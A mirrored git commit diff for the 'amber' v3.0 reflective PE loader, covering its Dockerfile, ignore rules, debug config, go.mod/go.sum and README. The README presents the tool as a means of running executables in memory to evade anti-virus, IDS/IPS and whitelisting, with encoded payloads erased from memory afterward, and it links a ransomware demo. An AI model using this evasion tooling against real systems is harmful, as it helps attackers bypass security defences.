mirror of
https://github.com/thomasxm/amber
synced 2026-06-08 17:46:04 +00:00
v3.0 Stable Release !!!
This commit is contained in:
@@ -19,6 +19,11 @@
|
|||||||
|
|
||||||
.idea
|
.idea
|
||||||
|
|
||||||
|
# vscode debug configs
|
||||||
|
.vscode
|
||||||
|
.vscode/*
|
||||||
|
|
||||||
# BUILDS
|
# BUILDS
|
||||||
build
|
build
|
||||||
|
stub/*.exe
|
||||||
amber
|
amber
|
||||||
|
|||||||
Vendored
+1
-1
@@ -11,7 +11,7 @@
|
|||||||
"mode": "auto",
|
"mode": "auto",
|
||||||
"program": "${fileDirname}",
|
"program": "${fileDirname}",
|
||||||
"env": {},
|
"env": {},
|
||||||
"args": []
|
"args": ["-f","/tmp/putty.exe"]
|
||||||
}
|
}
|
||||||
]
|
]
|
||||||
}
|
}
|
||||||
+27
-10
@@ -1,12 +1,29 @@
|
|||||||
|
FROM golang:1.15-buster as builder
|
||||||
|
|
||||||
FROM ubuntu:17.10
|
RUN apt-get update && apt-get -y install \
|
||||||
MAINTAINER Ege Balcı <ege.balci@invictuseurope.com>
|
build-essential \
|
||||||
USER root
|
cmake \
|
||||||
RUN apt-get update -y
|
g++-multilib \
|
||||||
RUN apt-get install -y git golang nasm fonts-powerline
|
gcc-multilib \
|
||||||
RUN mkdir /root/go
|
git \
|
||||||
ENV GOPATH /root/go
|
libcapstone-dev \
|
||||||
RUN go get -v github.com/egebalci/amber
|
python3 \
|
||||||
|
time
|
||||||
|
WORKDIR /root/
|
||||||
|
RUN git clone https://github.com/EgeBalci/keystone
|
||||||
|
RUN mkdir keystone/build
|
||||||
|
WORKDIR /root/keystone/build
|
||||||
|
|
||||||
ENTRYPOINT ["/root/go/bin/amber"]
|
RUN ../make-lib.sh
|
||||||
CMD ["--help"]
|
RUN cmake -DCMAKE_BUILD_TYPE=Release -DBUILD_SHARED_LIBS=OFF -DLLVM_TARGETS_TO_BUILD="AArch64;X86" -G "Unix Makefiles" ..
|
||||||
|
RUN make -j8
|
||||||
|
RUN make install && ldconfig
|
||||||
|
|
||||||
|
WORKDIR /root
|
||||||
|
RUN git clone https://github.com/egebalci/amber
|
||||||
|
WORKDIR /root/amber
|
||||||
|
RUN go build -o /root/bin/amber -ldflags '-w -s -extldflags -static' -trimpath main.go
|
||||||
|
|
||||||
|
FROM scratch
|
||||||
|
COPY --from=builder /root/bin/amber /amber
|
||||||
|
ENTRYPOINT ["/amber"]
|
||||||
|
|||||||
@@ -1,53 +1,43 @@
|
|||||||
|
|
||||||
|
<p align="center">
|
||||||
|
<img src="https://github.com/EgeBalci/amber/raw/master/img/banner.png">
|
||||||
|
<br/>
|
||||||
|
<a href="https://github.com/EgeBalci/amber">
|
||||||
|
<img src="https://img.shields.io/badge/version-3.0.0-green.svg?style=flat-square">
|
||||||
|
</a>
|
||||||
|
<a href="https://goreportcard.com/report/github.com/egebalci/amber">
|
||||||
|
<img src="https://goreportcard.com/badge/github.com/egebalci/amber?style=flat-square">
|
||||||
|
</a>
|
||||||
|
<a href="https://github.com/EgeBalci/amber/issues">
|
||||||
|
<img src="https://img.shields.io/github/issues/egebalci/amber?style=flat-square&color=red">
|
||||||
|
</a>
|
||||||
|
<a href="https://raw.githubusercontent.com/EgeBalci/sgn/master/LICENSE">
|
||||||
|
<img src="https://img.shields.io/github/license/egebalci/amber.svg?style=flat-square">
|
||||||
|
</a>
|
||||||
|
<a href="https://twitter.com/egeblc">
|
||||||
|
<img src="https://img.shields.io/badge/twitter-@egeblc-55acee.svg?style=flat-square">
|
||||||
|
</a>
|
||||||
|
</p>
|
||||||
|
|
||||||
[](https://github.com/egebalci/amber)
|
# Inroduction
|
||||||
|
|
||||||
[](https://github.com/egebalci/amber) [](https://raw.githubusercontent.com/EgeBalci/amber/master/LICENSE) [](https://goreportcard.com/report/github.com/egebalci/amber) [](https://twitter.com/egeblc)
|
Amber is a position-independent(reflective) PE loader that enables in-memory execution of native PE files(EXE, DLL, SYS...). It enables stealthy in-memory payload deployment that can be used to bypass anti-virus, firewall, IDS, IPS products, and application white-listing mitigations. Reflective payloads generated by Amber can either be staged from a remote server or executed directly in memory much like a generic shellcode. By default, every generated payload is encoded using the new generation [SGN encoder](https://github.com/EgeBalci/sgn). Amber uses [CRC32_API](https://github.com/EgeBalci/crc32_api) and [IAT_API](https://github.com/EgeBalci/iat_api) for inconspicuously resolving the Windows API function addresses. After the PE file is loaded and executed in memory, the reflective payload is erased for evading memory scanners.
|
||||||
|
|
||||||
|
Developed By Ege Balcı @[PRODAFT](https://prodaft.com).
|
||||||
|
|
||||||
amber is a reflective PE packer for bypassing security products and mitigations. It can pack regularly compiled PE files into reflective payloads that can load and execute itself like a shellcode. It enables stealthy in-memory payload deployment that can be used to bypass anti-virus, firewall, IDS, IPS products and application white-listing mitigations. If you want to learn more about the packing methodology used inside amber check out below. For more detail about usage, installation and how to decrease detection rate check out [WIKI](https://github.com/egebalci/amber/wiki).
|
# Installation
|
||||||
|
|
||||||
|
Pre-compiled binaries can be found under [releases](https://github.com/EgeBalci/amber/releases).
|
||||||
|
|
||||||
Developed By Ege Balcı from [INVICTUS](https://invictuseurope.com)/[PRODAFT](https://prodaft.com).
|
***Building From Source***
|
||||||
|
|
||||||
# REFLECTIVE PE PACKING WITH AMBER
|
The only dependency for building the source is the [keystone engine](https://github.com/keystone-engine/keystone), follow [these](https://github.com/keystone-engine/keystone/blob/master/docs/COMPILE.md) instructions for installing the library. Once libkeystone is installed on the system, simply just go get it ツ
|
||||||
|
|
||||||
<br>
|
|
||||||
|
|
||||||
<a href="https://pentest.blog/introducing-new-packing-method-first-reflective-pe-packer" target="_blank">
|
|
||||||
<img height="250" align="left" src="https://pentest.blog/wp-content/uploads/68747470733a2f2f696d6167652e6962622e636f2f66426e51566d2f70656e746573745f626c6f67332e6a7067.jpeg" alt="DEMO1" />
|
|
||||||
</a>
|
|
||||||
<a href="https://raw.githubusercontent.com/EgeBalci/amber/master/PAPER.pdf"></a>
|
|
||||||
<a href="https://github.com/EgeBalci/amber/raw/master/PAPER.pdf">
|
|
||||||
<img align="right" src="https://pentest.blog/wp-content/uploads/pdf2.png"/>
|
|
||||||
</a>
|
|
||||||
|
|
||||||
<br><br><br><br><br><br><br><br>
|
|
||||||
|
|
||||||
# INSTALLATION
|
|
||||||
|
|
||||||
|
|
||||||
***DEPENDENCIES***
|
|
||||||
|
|
||||||
- [go](https://golang.org/dl/)
|
|
||||||
- [NASM](https://www.nasm.us/)
|
|
||||||
|
|
||||||
On *nix systems both of the dependencies can be installed with OS packet managers. (APT/PACMAN/YUM)
|
|
||||||
|
|
||||||
|
|
||||||
Get one of the pre-build release [here](https://github.com/egebalci/amber/releases). Or get it with following alternatives.
|
|
||||||
|
|
||||||
***GO (suggested)***
|
|
||||||
```
|
```
|
||||||
go get github.com/egebalci/amber
|
go get github.com/EgeBalci/amber
|
||||||
```
|
```
|
||||||
|
|
||||||
***BLACKARCH INSTALL***
|
***Docker Install***
|
||||||
```
|
|
||||||
sudo pacman -S amber
|
|
||||||
```
|
|
||||||
|
|
||||||
***DOCKER INSTALL***
|
|
||||||
|
|
||||||
[](https://hub.docker.com/r/egee/amber/)
|
[](https://hub.docker.com/r/egee/amber/)
|
||||||
|
|
||||||
@@ -56,41 +46,84 @@ docker pull egee/amber
|
|||||||
docker run -it egee/amber
|
docker run -it egee/amber
|
||||||
```
|
```
|
||||||
|
|
||||||
# USAGE
|
# Usage
|
||||||
|
|
||||||
|
<p align="center">
|
||||||
|
<img src="https://github.com/EgeBalci/amber/raw/master/img/usage.gif">
|
||||||
|
</p>
|
||||||
|
|
||||||
|
The following table lists switches supported by the amber.
|
||||||
|
|
||||||
|
<table border="1">
|
||||||
|
<tr>
|
||||||
|
<th>Switch</th>
|
||||||
|
<th>Type</th>
|
||||||
|
<th>Description</th>
|
||||||
|
</tr>
|
||||||
|
|
||||||
|
<tr>
|
||||||
|
<td><strong>-build</strong></td>
|
||||||
|
<td><var>bool</var></td>
|
||||||
|
<td>Build EXE stub that executes the generated reflective payload</td>
|
||||||
|
</tr>
|
||||||
|
|
||||||
|
<tr>
|
||||||
|
<td><strong>-e</strong></td>
|
||||||
|
<td><var>int</var></td>
|
||||||
|
<td>Number of times to encode the generated reflective payload</td>
|
||||||
|
</tr>
|
||||||
|
|
||||||
|
<tr>
|
||||||
|
<td><strong>-f</strong></td>
|
||||||
|
<td><var>string</var></td>
|
||||||
|
<td>Input PE file.</td>
|
||||||
|
</tr>
|
||||||
|
|
||||||
|
<tr>
|
||||||
|
<td><strong>-iat</strong></td>
|
||||||
|
<td><var>bool</var></td>
|
||||||
|
<td>Use IAT API resolver block instead of CRC API resolver block</td>
|
||||||
|
</tr>
|
||||||
|
|
||||||
|
<tr>
|
||||||
|
<td><strong>-ignore-checks</strong></td>
|
||||||
|
<td><var>bool</var></td>
|
||||||
|
<td>Ignore integrity check errors.</td>
|
||||||
|
</tr>
|
||||||
|
|
||||||
|
<tr>
|
||||||
|
<td><strong>-max</strong></td>
|
||||||
|
<td><var>int</var></td>
|
||||||
|
<td>Maximum number of bytes for obfuscation (default 5)</td>
|
||||||
|
</tr>
|
||||||
|
|
||||||
|
<tr>
|
||||||
|
<td><strong>-stub</strong></td>
|
||||||
|
<td><var>string</var></td>
|
||||||
|
<td>Use custom stub file for executing the generated reflective payload (currently very unstable)</td>
|
||||||
|
</tr>
|
||||||
|
|
||||||
|
</table>
|
||||||
|
|
||||||
|
|
||||||
|
**Example Usage**
|
||||||
|
|
||||||
|
- Generate reflective payload.
|
||||||
```
|
```
|
||||||
USAGE:
|
amber -f test.exe
|
||||||
amber [options] file.exe
|
|
||||||
OPTIONS:
|
|
||||||
-k, -keysize Size of the encryption key in bytes (Max:255/Min:8)
|
|
||||||
-r, -reflective Generated a reflective payload
|
|
||||||
-a, -anti-analysis Add anti-analysis measures
|
|
||||||
-i, -iat Use import address table entries instead of export address table
|
|
||||||
-s, -scrape Scrape the PE header info (May break some files)
|
|
||||||
-no-resource Don't add any resource data (removes icon)
|
|
||||||
-ignore-integrity Ignore integrity check errors
|
|
||||||
-v, -verbose Verbose output mode
|
|
||||||
-h, -H Show this massage
|
|
||||||
EXAMPLE:
|
|
||||||
(Default settings if no option parameter passed)
|
|
||||||
amber -k 8 file.exe
|
|
||||||
```
|
```
|
||||||
|
- Generate reflective payload and build EXE stub for executing it.
|
||||||
|
```
|
||||||
|
amber -build -f test.exe
|
||||||
|
```
|
||||||
|
|
||||||
***Docker Usage***
|
***Docker Usage***
|
||||||
```
|
```
|
||||||
docker run -it -v /tmp/:/tmp/ amber /tmp/file.exe
|
docker run -it -v /tmp/:/tmp/ amber -f /tmp/file.exe
|
||||||
```
|
```
|
||||||
|
|
||||||
# EXAMPLE USAGE
|
# Demo
|
||||||
|
|
||||||
- <strong>NOPcon 2018 [DEMO](https://www.youtube.com/watch?v=lCPdKSH6RMc)</strong>
|
- [NOPcon 2018 DEMO](https://www.youtube.com/watch?v=lCPdKSH6RMc)
|
||||||
|
- [Pentest.blog - Deploying Reflective PE Files With Metasploit](https://www.youtube.com/watch?v=3en0ftnjEpE)
|
||||||
<br><br>
|
- [Pentest.blog - Deploying Reflective Ransomware POC](https://www.youtube.com/watch?v=JVv_spX6D4U)
|
||||||
|
|
||||||
<a href="https://www.youtube.com/watch?v=JVv_spX6D4U" target="_blank">
|
|
||||||
<img src="http://img.youtube.com/vi/JVv_spX6D4U/0.jpg" alt="DEMO1" width="400" height="300" align="right"/>
|
|
||||||
</a>
|
|
||||||
|
|
||||||
<a href="https://www.youtube.com/watch?v=3en0ftnjEpE" target="_blank">
|
|
||||||
<img src="https://pentest.blog/wp-content/uploads/Screenshot-at-2018-02-23-22-42-18-2-1024x704.png" alt="DEMO1" width="400" height="300" align="left"/>
|
|
||||||
</a><br><br><br>
|
|
||||||
<br>
|
|
||||||
-1
Submodule debug deleted from d79a6eb188
@@ -1,21 +1,11 @@
|
|||||||
module amber
|
module github.com/EgeBalci/amber
|
||||||
|
|
||||||
go 1.15
|
go 1.15
|
||||||
|
|
||||||
require (
|
require (
|
||||||
|
github.com/EgeBalci/debug v0.0.0-20201116162432-d79a6eb18848
|
||||||
github.com/EgeBalci/keystone-go v0.0.0-20200525180613-e6c7cd32ceae
|
github.com/EgeBalci/keystone-go v0.0.0-20200525180613-e6c7cd32ceae
|
||||||
|
github.com/EgeBalci/sgn v0.0.0-20201122214045-550a17d79251
|
||||||
github.com/briandowns/spinner v1.11.1
|
github.com/briandowns/spinner v1.11.1
|
||||||
github.com/egebalci/sgn v0.0.0-20201106153228-98d40a9d3113
|
|
||||||
github.com/fatih/color v1.10.0
|
github.com/fatih/color v1.10.0
|
||||||
github.com/go-delve/delve v1.5.0 // indirect
|
|
||||||
github.com/google/go-dap v0.3.0 // indirect
|
|
||||||
github.com/mattn/go-runewidth v0.0.9 // indirect
|
|
||||||
github.com/peterh/liner v1.2.0 // indirect
|
|
||||||
github.com/russross/blackfriday/v2 v2.1.0 // indirect
|
|
||||||
github.com/sirupsen/logrus v1.7.0 // indirect
|
|
||||||
github.com/spf13/cobra v1.1.1 // indirect
|
|
||||||
go.starlark.net v0.0.0-20201113214410-e292e66a28cd // indirect
|
|
||||||
golang.org/x/arch v0.0.0-20201008161808-52c3e6f60cff // indirect
|
|
||||||
golang.org/x/sys v0.0.0-20201116194326-cc9327a14d48 // indirect
|
|
||||||
gopkg.in/yaml.v2 v2.3.0 // indirect
|
|
||||||
)
|
)
|
||||||
|
|||||||
@@ -1,361 +1,24 @@
|
|||||||
cloud.google.com/go v0.26.0/go.mod h1:aQUYkXzVsufM+DwF1aE+0xfcU+56JwCaLick0ClmMTw=
|
github.com/EgeBalci/debug v0.0.0-20201116162432-d79a6eb18848 h1:xp+mcTlDdvF6gCe/eSkaDmpQ4Kd7zUAPLZxPfqNjvWA=
|
||||||
cloud.google.com/go v0.34.0/go.mod h1:aQUYkXzVsufM+DwF1aE+0xfcU+56JwCaLick0ClmMTw=
|
github.com/EgeBalci/debug v0.0.0-20201116162432-d79a6eb18848/go.mod h1:7fXlZBJFFub/8MYzeBI6HFwNkwL2cw8pe3yrWTJduwc=
|
||||||
cloud.google.com/go v0.38.0/go.mod h1:990N+gfupTy94rShfmMCWGDn0LpTmnzTp2qbd1dvSRU=
|
|
||||||
cloud.google.com/go v0.44.1/go.mod h1:iSa0KzasP4Uvy3f1mN/7PiObzGgflwredwwASm/v6AU=
|
|
||||||
cloud.google.com/go v0.44.2/go.mod h1:60680Gw3Yr4ikxnPRS/oxxkBccT6SA1yMk63TGekxKY=
|
|
||||||
cloud.google.com/go v0.45.1/go.mod h1:RpBamKRgapWJb87xiFSdk4g1CME7QZg3uwTez+TSTjc=
|
|
||||||
cloud.google.com/go v0.46.3/go.mod h1:a6bKKbmY7er1mI7TEI4lsAkts/mkhTSZK8w33B4RAg0=
|
|
||||||
cloud.google.com/go/bigquery v1.0.1/go.mod h1:i/xbL2UlR5RvWAURpBYZTtm/cXjCha9lbfbpx4poX+o=
|
|
||||||
cloud.google.com/go/datastore v1.0.0/go.mod h1:LXYbyblFSglQ5pkeyhO+Qmw7ukd3C+pD7TKLgZqpHYE=
|
|
||||||
cloud.google.com/go/firestore v1.1.0/go.mod h1:ulACoGHTpvq5r8rxGJ4ddJZBZqakUQqClKRT5SZwBmk=
|
|
||||||
cloud.google.com/go/pubsub v1.0.1/go.mod h1:R0Gpsv3s54REJCy4fxDixWD93lHJMoZTyQ2kNxGRt3I=
|
|
||||||
cloud.google.com/go/storage v1.0.0/go.mod h1:IhtSnM/ZTZV8YYJWCY8RULGVqBDmpoyjwiyrjsg+URw=
|
|
||||||
dmitri.shuralyov.com/gpu/mtl v0.0.0-20190408044501-666a987793e9/go.mod h1:H6x//7gZCb22OMCxBHrMx7a5I7Hp++hsVxbQ4BYO7hU=
|
|
||||||
github.com/BurntSushi/toml v0.3.1/go.mod h1:xHWCNGjB5oqiDr8zfno3MHue2Ht5sIBksp03qcyfWMU=
|
|
||||||
github.com/BurntSushi/xgb v0.0.0-20160522181843-27f122750802/go.mod h1:IVnqGOEym/WlBOVXweHU+Q+/VP0lqqI8lqeDx9IjBqo=
|
|
||||||
github.com/EgeBalci/keystone-go v0.0.0-20191020215946-e413e564d55a/go.mod h1:/HCfOmUN3INldcXC0YnFrOtOw3MuRFEQ9cKTT5fZuQ8=
|
|
||||||
github.com/EgeBalci/keystone-go v0.0.0-20200525180613-e6c7cd32ceae h1:IMOEVXYMrzHg+1oWgTYBEwzMGsxFHUgoreu2Ic62K7Q=
|
github.com/EgeBalci/keystone-go v0.0.0-20200525180613-e6c7cd32ceae h1:IMOEVXYMrzHg+1oWgTYBEwzMGsxFHUgoreu2Ic62K7Q=
|
||||||
github.com/EgeBalci/keystone-go v0.0.0-20200525180613-e6c7cd32ceae/go.mod h1:/HCfOmUN3INldcXC0YnFrOtOw3MuRFEQ9cKTT5fZuQ8=
|
github.com/EgeBalci/keystone-go v0.0.0-20200525180613-e6c7cd32ceae/go.mod h1:/HCfOmUN3INldcXC0YnFrOtOw3MuRFEQ9cKTT5fZuQ8=
|
||||||
github.com/OneOfOne/xxhash v1.2.2/go.mod h1:HSdplMjZKSmBqAxg5vPj2TmRDmfkzw+cTzAElWljhcU=
|
github.com/EgeBalci/sgn v0.0.0-20201122214045-550a17d79251 h1:VyTVKce2AzuB6521arwJvyQFHLQ0USNnw/0IZ/RP3bE=
|
||||||
github.com/alecthomas/template v0.0.0-20160405071501-a0175ee3bccc/go.mod h1:LOuyumcjzFXgccqObfd/Ljyb9UuFJ6TxHnclSeseNhc=
|
github.com/EgeBalci/sgn v0.0.0-20201122214045-550a17d79251/go.mod h1:gI4nYEhbKmf35Q+NPyoX+o1ajkCgabjYjsyu19tmfgM=
|
||||||
github.com/alecthomas/units v0.0.0-20151022065526-2efee857e7cf/go.mod h1:ybxpYRFXyAe+OPACYpWeL0wqObRcbAqCMya13uyzqw0=
|
|
||||||
github.com/armon/circbuf v0.0.0-20150827004946-bbbad097214e/go.mod h1:3U/XgcO3hCbHZ8TKRvWD2dDTCfh9M9ya+I9JpbB7O8o=
|
|
||||||
github.com/armon/go-metrics v0.0.0-20180917152333-f0300d1749da/go.mod h1:Q73ZrmVTwzkszR9V5SSuryQ31EELlFMUz1kKyl939pY=
|
|
||||||
github.com/armon/go-radix v0.0.0-20180808171621-7fddfc383310/go.mod h1:ufUuZ+zHj4x4TnLV4JWEpy2hxWSpsRywHrMgIH9cCH8=
|
|
||||||
github.com/beorn7/perks v0.0.0-20180321164747-3a771d992973/go.mod h1:Dwedo/Wpr24TaqPxmxbtue+5NUziq4I4S80YR8gNf3Q=
|
|
||||||
github.com/beorn7/perks v1.0.0/go.mod h1:KWe93zE9D1o94FZ5RNwFwVgaQK1VOXiVxmqh+CedLV8=
|
|
||||||
github.com/bgentry/speakeasy v0.1.0/go.mod h1:+zsyZBPWlz7T6j88CTgSN5bM796AkVf0kBD4zp0CCIs=
|
|
||||||
github.com/bketelsen/crypt v0.0.3-0.20200106085610-5cbc8cc4026c/go.mod h1:MKsuJmJgSg28kpZDP6UIiPt0e0Oz0kqKNGyRaWEPv84=
|
|
||||||
github.com/briandowns/spinner v1.9.0/go.mod h1://Zf9tMcxfRUA36V23M6YGEAv+kECGfvpnLTnb8n4XQ=
|
|
||||||
github.com/briandowns/spinner v1.11.1 h1:OixPqDEcX3juo5AjQZAnFPbeUA0jvkp2qzB5gOZJ/L0=
|
github.com/briandowns/spinner v1.11.1 h1:OixPqDEcX3juo5AjQZAnFPbeUA0jvkp2qzB5gOZJ/L0=
|
||||||
github.com/briandowns/spinner v1.11.1/go.mod h1:QOuQk7x+EaDASo80FEXwlwiA+j/PPIcX3FScO+3/ZPQ=
|
github.com/briandowns/spinner v1.11.1/go.mod h1:QOuQk7x+EaDASo80FEXwlwiA+j/PPIcX3FScO+3/ZPQ=
|
||||||
github.com/cespare/xxhash v1.1.0/go.mod h1:XrSqR1VqqWfGrhpAt58auRo0WTKS1nRRg3ghfAqPWnc=
|
|
||||||
github.com/chzyer/logex v1.1.10/go.mod h1:+Ywpsq7O8HXn0nuIou7OrIPyXbp3wmkHB+jjWRnGsAI=
|
|
||||||
github.com/chzyer/readline v0.0.0-20180603132655-2972be24d48e/go.mod h1:nSuG5e5PlCu98SY8svDHJxuZscDgtXS6KTTbou5AhLI=
|
|
||||||
github.com/chzyer/test v0.0.0-20180213035817-a1ea475d72b1/go.mod h1:Q3SI9o4m/ZMnBNeIyt5eFwwo7qiLfzFZmjNmxjkiQlU=
|
|
||||||
github.com/client9/misspell v0.3.4/go.mod h1:qj6jICC3Q7zFZvVWo7KLAzC3yx5G7kyvSDkc90ppPyw=
|
|
||||||
github.com/coreos/bbolt v1.3.2/go.mod h1:iRUV2dpdMOn7Bo10OQBFzIJO9kkE559Wcmn+qkEiiKk=
|
|
||||||
github.com/coreos/etcd v3.3.13+incompatible/go.mod h1:uF7uidLiAD3TWHmW31ZFd/JWoc32PjwdhPthX9715RE=
|
|
||||||
github.com/coreos/go-semver v0.3.0/go.mod h1:nnelYz7RCh+5ahJtPPxZlU+153eP4D4r3EedlOD2RNk=
|
|
||||||
github.com/coreos/go-systemd v0.0.0-20190321100706-95778dfbb74e/go.mod h1:F5haX7vjVVG0kc13fIWeqUViNPyEJxv/OmvnBo0Yme4=
|
|
||||||
github.com/coreos/pkg v0.0.0-20180928190104-399ea9e2e55f/go.mod h1:E3G3o1h8I7cfcXa63jLwjI0eiQQMgzzUDFVpN/nH/eA=
|
|
||||||
github.com/cosiner/argv v0.1.0 h1:BVDiEL32lwHukgJKP87btEPenzrrHUjajs/8yzaqcXg=
|
|
||||||
github.com/cosiner/argv v0.1.0/go.mod h1:EusR6TucWKX+zFgtdUsKT2Cvg45K5rtpCcWz4hK06d8=
|
|
||||||
github.com/cpuguy83/go-md2man v1.0.10/go.mod h1:SmD6nW6nTyfqj6ABTjUi3V3JVMnlJmwcJI5acqYI6dE=
|
|
||||||
github.com/cpuguy83/go-md2man/v2 v2.0.0 h1:EoUDS0afbrsXAZ9YQ9jdu/mZ2sXgT1/2yyNng4PGlyM=
|
|
||||||
github.com/cpuguy83/go-md2man/v2 v2.0.0/go.mod h1:maD7wRr/U5Z6m/iR4s+kqSMx2CaBsrgA7czyZG/E6dU=
|
|
||||||
github.com/creack/pty v1.1.9/go.mod h1:oKZEueFk5CKHvIhNR5MUki03XCEU+Q6VDXinZuGJ33E=
|
|
||||||
github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
|
|
||||||
github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
|
|
||||||
github.com/dgrijalva/jwt-go v3.2.0+incompatible/go.mod h1:E3ru+11k8xSBh+hMPgOLZmtrrCbhqsmaPHjLKYnJCaQ=
|
|
||||||
github.com/dgryski/go-sip13 v0.0.0-20181026042036-e10d5fee7954/go.mod h1:vAd38F8PWV+bWy6jNmig1y/TA+kYO4g3RSRF0IAv0no=
|
|
||||||
github.com/egebalci/sgn v0.0.0-20201106153228-98d40a9d3113 h1:SNz+7wRI8IHSOrnpUY2VAi6DV7ByUS/sbdRdz1i0W8Q=
|
|
||||||
github.com/egebalci/sgn v0.0.0-20201106153228-98d40a9d3113/go.mod h1:onHRxWo66Y2cS6AVf4KUYDeFmwSmBrBc0uGsMvES26E=
|
|
||||||
github.com/fatih/color v1.7.0/go.mod h1:Zm6kSWBoL9eyXnKyktHP6abPY2pDugNf5KwzbycvMj4=
|
github.com/fatih/color v1.7.0/go.mod h1:Zm6kSWBoL9eyXnKyktHP6abPY2pDugNf5KwzbycvMj4=
|
||||||
github.com/fatih/color v1.9.0/go.mod h1:eQcE1qtQxscV5RaZvpXrrb8Drkc3/DdQ+uUYCNjL+zU=
|
|
||||||
github.com/fatih/color v1.10.0 h1:s36xzo75JdqLaaWoiEHk767eHiwo0598uUxyfiPkDsg=
|
github.com/fatih/color v1.10.0 h1:s36xzo75JdqLaaWoiEHk767eHiwo0598uUxyfiPkDsg=
|
||||||
github.com/fatih/color v1.10.0/go.mod h1:ELkj/draVOlAH/xkhN6mQ50Qd0MPOk5AAr3maGEBuJM=
|
github.com/fatih/color v1.10.0/go.mod h1:ELkj/draVOlAH/xkhN6mQ50Qd0MPOk5AAr3maGEBuJM=
|
||||||
github.com/fsnotify/fsnotify v1.4.7/go.mod h1:jwhsz4b93w/PPRr/qN1Yymfu8t87LnFCMoQvtojpjFo=
|
|
||||||
github.com/ghodss/yaml v1.0.0/go.mod h1:4dBDuWmgqj2HViK6kFavaiC9ZROes6MMH2rRYeMEF04=
|
|
||||||
github.com/go-delve/delve v1.5.0 h1:gQsRvFdR0BGk19NROQZsAv6iG4w5QIZoJlxJeEUBb0c=
|
|
||||||
github.com/go-delve/delve v1.5.0/go.mod h1:c6b3a1Gry6x8a4LGCe/CWzrocrfaHvkUxCj3k4bvSUQ=
|
|
||||||
github.com/go-gl/glfw v0.0.0-20190409004039-e6da0acd62b1/go.mod h1:vR7hzQXu2zJy9AVAgeJqvqgH9Q5CA+iKCZ2gyEVpxRU=
|
|
||||||
github.com/go-kit/kit v0.8.0/go.mod h1:xBxKIO96dXMWWy0MnWVtmwkA9/13aqxPnvrjFYMA2as=
|
|
||||||
github.com/go-logfmt/logfmt v0.3.0/go.mod h1:Qt1PoO58o5twSAckw1HlFXLmHsOX5/0LbT9GBnD5lWE=
|
|
||||||
github.com/go-logfmt/logfmt v0.4.0/go.mod h1:3RMwSq7FuexP4Kalkev3ejPJsZTpXXBr9+V4qmtdjCk=
|
|
||||||
github.com/go-stack/stack v1.8.0/go.mod h1:v0f6uXyyMGvRgIKkXu+yp6POWl0qKG85gN/melR3HDY=
|
|
||||||
github.com/gogo/protobuf v1.1.1/go.mod h1:r8qH/GZQm5c6nD/R0oafs1akxWv10x8SbQlK7atdtwQ=
|
|
||||||
github.com/gogo/protobuf v1.2.1/go.mod h1:hp+jE20tsWTFYpLwKvXlhS1hjn+gTNwPg2I6zVXpSg4=
|
|
||||||
github.com/golang/glog v0.0.0-20160126235308-23def4e6c14b/go.mod h1:SBH7ygxi8pfUlaOkMMuAQtPIUF8ecWP5IEl/CR7VP2Q=
|
|
||||||
github.com/golang/groupcache v0.0.0-20190129154638-5b532d6fd5ef/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc=
|
|
||||||
github.com/golang/mock v1.1.1/go.mod h1:oTYuIxOrZwtPieC+H1uAHpcLFnEyAGVDL/k47Jfbm0A=
|
|
||||||
github.com/golang/mock v1.2.0/go.mod h1:oTYuIxOrZwtPieC+H1uAHpcLFnEyAGVDL/k47Jfbm0A=
|
|
||||||
github.com/golang/mock v1.3.1/go.mod h1:sBzyDLLjw3U8JLTeZvSv8jJB+tU5PVekmnlKIyFUx0Y=
|
|
||||||
github.com/golang/protobuf v1.2.0/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U=
|
|
||||||
github.com/golang/protobuf v1.3.1/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U=
|
|
||||||
github.com/golang/protobuf v1.3.2/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U=
|
|
||||||
github.com/google/btree v0.0.0-20180813153112-4030bb1f1f0c/go.mod h1:lNA+9X1NB3Zf8V7Ke586lFgjr2dZNuvo3lPJSGZ5JPQ=
|
|
||||||
github.com/google/btree v1.0.0/go.mod h1:lNA+9X1NB3Zf8V7Ke586lFgjr2dZNuvo3lPJSGZ5JPQ=
|
|
||||||
github.com/google/go-cmp v0.2.0/go.mod h1:oXzfMopK8JAjlY9xF4vHSVASa0yLyX7SntLO5aqRK0M=
|
|
||||||
github.com/google/go-cmp v0.3.0/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU=
|
|
||||||
github.com/google/go-dap v0.2.0 h1:whjIGQRumwbR40qRU7CEKuFLmePUUc2s4Nt9DoXXxWk=
|
|
||||||
github.com/google/go-dap v0.2.0/go.mod h1:5q8aYQFnHOAZEMP+6vmq25HKYAEwE+LF5yh7JKrrhSQ=
|
|
||||||
github.com/google/go-dap v0.3.0 h1:Dc4izN0u4VhZERYrz80f1PSEoDsVfdVmdM/W82CxzFk=
|
|
||||||
github.com/google/go-dap v0.3.0/go.mod h1:5q8aYQFnHOAZEMP+6vmq25HKYAEwE+LF5yh7JKrrhSQ=
|
|
||||||
github.com/google/martian v2.1.0+incompatible/go.mod h1:9I4somxYTbIHy5NJKHRl3wXiIaQGbYVAs8BPL6v8lEs=
|
|
||||||
github.com/google/pprof v0.0.0-20181206194817-3ea8567a2e57/go.mod h1:zfwlbNMJ+OItoe0UupaVj+oy1omPYYDuagoSzA8v9mc=
|
|
||||||
github.com/google/pprof v0.0.0-20190515194954-54271f7e092f/go.mod h1:zfwlbNMJ+OItoe0UupaVj+oy1omPYYDuagoSzA8v9mc=
|
|
||||||
github.com/google/renameio v0.1.0/go.mod h1:KWCgfxg9yswjAJkECMjeO8J8rahYeXnNhOm40UhjYkI=
|
|
||||||
github.com/googleapis/gax-go/v2 v2.0.4/go.mod h1:0Wqv26UfaUD9n4G6kQubkQ+KchISgw+vpHVxEJEs9eg=
|
|
||||||
github.com/googleapis/gax-go/v2 v2.0.5/go.mod h1:DWXyrwAJ9X0FpwwEdw+IPEYBICEFu5mhpdKc/us6bOk=
|
|
||||||
